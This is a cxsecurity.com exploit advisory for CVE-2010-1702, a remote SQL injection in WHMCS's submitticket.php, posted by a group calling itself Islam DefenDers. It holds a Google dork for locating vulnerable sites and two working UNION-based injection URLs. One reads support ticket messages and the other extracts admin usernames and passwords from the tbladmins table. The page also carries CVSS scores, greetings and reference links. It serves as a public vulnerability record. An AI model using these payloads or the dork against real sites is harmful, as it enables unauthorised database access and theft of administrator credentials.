WHMCS control (WHMCompleteSolution) Sql Injection

2010.05.05
Credit: Islam DefenDers
Risk: High
Local: No
Remote: Yes
CVE: CVE-2010-1702
CWE: CWE-89
Dork: Powered by WHMCompleteSolution - or \" inurl:WHMCS


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#=Info=======================================================================# # Software: WHMCS control (WHMCompleteSolution) Sql Injection # # # # Vulnerability: Remote Sql Injection # # Google Dork: Powered by WHMCompleteSolution - or " inurl:WHMCS # # Off. site: www.MiXaTy.com # #============================================================================# #=Author==============================================# # Author: Islam DefenDers # # Date: 24.04.2010 # # Contact: email: hackereg@hotmail.com # #====================================================# #=Sql Injection===========================================================================================================================================================# # Exploit: http://site/submitticket.php?step=2&deptid=001' and 1=0 union all select 1,2,3,4,message,6,7,8,9,10 from tbltickets--%20 # DOWNLOAD : http://www.whmcs.com/ # Live demo: http://ste/support/submitticket.php?step=2&deptid=001' and 1=0 union all select 1,2,3,4,username,6,7,8,password,10 from tbladmins--%20 #=========================================================================================================================================================================# #=Greetz==================================# # IsLam DefenDers Mr.HaMaDa # #=======================================# HaMaDa SCoOoRPioN - DR.B@HY - MiXaTy TeaM - Islam DefenDers TeaM site: www.mixaty.com E: hackereg@hotmail.com _________________________________________________________________ Hotmail: Trusted email with Microsoft?s powerful SPAM protection. https://signup.live.com/signup.aspx?id=60969

References:

http://xforce.iss.net/xforce/xfdb/58108
http://www.securityfocus.com/bid/39681
http://www.exploit-db.com/exploits/12371
http://packetstormsecurity.org/1004-exploits/whmcs-sql.txt


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top